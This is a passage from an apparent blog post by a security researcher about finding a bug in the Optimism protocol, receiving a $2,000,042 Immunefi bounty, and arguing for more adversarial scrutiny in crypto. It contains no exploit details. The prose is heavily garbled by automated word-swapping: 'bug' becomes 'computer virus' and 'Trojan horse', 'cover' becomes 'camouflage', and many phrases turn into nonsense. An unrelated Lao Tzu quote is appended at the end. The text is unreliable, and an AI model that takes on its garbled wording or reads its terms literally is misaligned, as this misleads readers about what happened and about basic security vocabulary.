I’ve generally then felt that there reliable is now not definitely enough “loyal” adversarialism in the crypto community. I could well per chance maybe per chance worship to appear a convention the assign every single discuss is “why protocol X will by no means work” without that being viewed as “unconstructive”.

I thereby have a tendency to really gravitate strongly in direction of initiatives which would be animated to carry a no longer easy line with other initiatives and “duke it out” in benchmarks, articles, or prognosis, calling out scams in preference to merely ignoring them.

Bountiful Trojan horse Bounties

Which finally brings me support to this Optimism computer virus. I fundamental a verify with give at ETHDenver (resulting from a scheduling SNAFU) and I saw that Optimism listed a bounty with Immunefi that has a $2,000,042 most payout for “well-known” bugs.

(Technically, their Immunefi program did no longer camouflage this computer virus, because it’s now not in the say scope, so I could well per chance now not battle by diagram of Immunefi and needed to attain out straight. But they’ve been extraordinarily favorable and straight away stated they’d camouflage it equivalently.)

This system from Optimism is now not definitely even the reliable most listed on Immunefi: Olympus, which describes itself as “a decentralized reserve forex”, has a computer virus bounty program listed with a most payout of $3,333,333!

This then gave me no longer one nonetheless two incentives to “bother with” dropping every part else I was as soon as doing to deeply analyze “that component I saw that felt off nonetheless carry out I really care to peek as I deserve to work on my possess mission (and even agree with a nap)”.

Feeling Optimistic

And, really, Optimism determined to award the total $2M+42; …which has the property of retroactively compensating me for the copious time I’ve spent analyzing their mission this past year, as if I had been a group member.

(Which causes but any other interesting incentive alignment: I now feel “quite loads grateful” to Optimism, and like attain to adore them extra thanks to this award… per chance it is advisable no longer belief what I negate about them? ;P)

We may well per chance maybe per chance also per chance feel reliable that the existence of this advisable bounty did what it space out to carry out: Optimism made a mistake, nonetheless they then incentivized—and reasonably generously so!—the work to reliable it, protecting their customers from loss.

(BTW, Boba and Metis—both forks of Optimism—had a max $100,000 and a max $1,000,000 bounty, respectively. It is a long way a attention-grabbing set up a matter to of in some sense: must they share the responsibility of such a bounty?)

If nothing else, I efficiently scored an invite to their occasion at ETHDenver ;P. Per chance I will look a pair of of you there!

Read More



“Simplicity, patience, compassion.
These three are your greatest treasures.
Simple in actions and thoughts, you return to the source of being.
Patient with both friends and enemies,
you accord with the way things are.
Compassionate toward yourself,
you reconcile all beings in the world.”
― Lao Tzu, Tao Te Ching